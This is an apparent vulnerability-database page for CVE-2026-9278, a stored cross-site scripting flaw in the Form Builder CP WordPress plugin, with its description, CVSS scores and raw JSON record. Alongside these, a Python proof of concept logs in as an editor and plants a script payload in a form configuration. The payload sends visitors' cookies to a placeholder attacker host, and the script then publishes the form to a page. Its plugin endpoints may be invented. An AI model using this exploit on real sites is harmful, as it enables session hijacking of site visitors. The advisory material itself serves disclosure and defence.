Security Vulnerability Report
中文
CVE-2026-9278 CVSS 5.4 MEDIUM

CVE-2026-9278

Published: 2026-06-15 08:16:22
Last Modified: 2026-06-15 16:16:35

Description

The Form Builder CP WordPress plugin before 1.2.47 does not properly sanitize a form configuration value before storing it and using it as part of a client-side script execution, allowing authenticated users with Editor-level access and above to perform Stored Cross-Site Scripting attacks against any visitor of a page rendering the affected form, even when the `unfiltered_html` capability is disallowed (e.g. in a multisite network).

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Form Builder CP < 1.2.47

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9278 PoC - Stored XSS in Form Builder CP WordPress Plugin # Requires: Editor-level access or higher import requests import re TARGET_URL = "http://target-wordpress-site.com" USERNAME = "editor_user" PASSWORD = "editor_password" # XSS payload - steals session cookies XSS_PAYLOAD = '''<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>''' def exploit_cve_2026_9278(): """ Exploit for Form Builder CP plugin < 1.2.47 Stored XSS 1. Authenticate as Editor or higher 2. Create/Edit a form with malicious configuration 3. When form is rendered, XSS payload executes """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } session.post(login_url, data=login_data) # Step 2: Navigate to Form Builder plugin form_builder_url = f"{TARGET_URL}/wp-admin/admin.php?page=form-builder-cp" # Step 3: Create new form with XSS payload in configuration create_form_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" form_data = { 'action': 'fbcp_save_form', 'form_title': 'Malicious Form', 'form_config': f'{{"field_name":"{XSS_PAYLOAD}"}}', 'form_settings': '{"allow_unfiltered_html":false}' } response = session.post(create_form_url, data=form_data) # Step 4: Publish form to a page publish_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" publish_data = { 'action': 'fbcp_publish_form', 'form_id': response.json().get('form_id'), 'post_id': 1 # Target page ID } session.post(publish_url, data=publish_data) print(f"[+] Form created with XSS payload") print(f"[+] Visit the page containing the form to trigger the payload") print(f"[+] Payload: {XSS_PAYLOAD}") if __name__ == "__main__": exploit_cve_2026_9278()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9278", "sourceIdentifier": "[email protected]", "published": "2026-06-15T08:16:22.200", "lastModified": "2026-06-15T16:16:35.093", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Form Builder CP WordPress plugin before 1.2.47 does not properly sanitize a form configuration value before storing it and using it as part of a client-side script execution, allowing authenticated users with Editor-level access and above to perform Stored Cross-Site Scripting attacks against any visitor of a page rendering the affected form, even when the `unfiltered_html` capability is disallowed (e.g. in a multisite network)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "references": [{"url": "https://wpscan.com/vulnerability/b306b6f1-ca34-495f-a823-6e8f66e343d7/", "source": "[email protected]"}]}}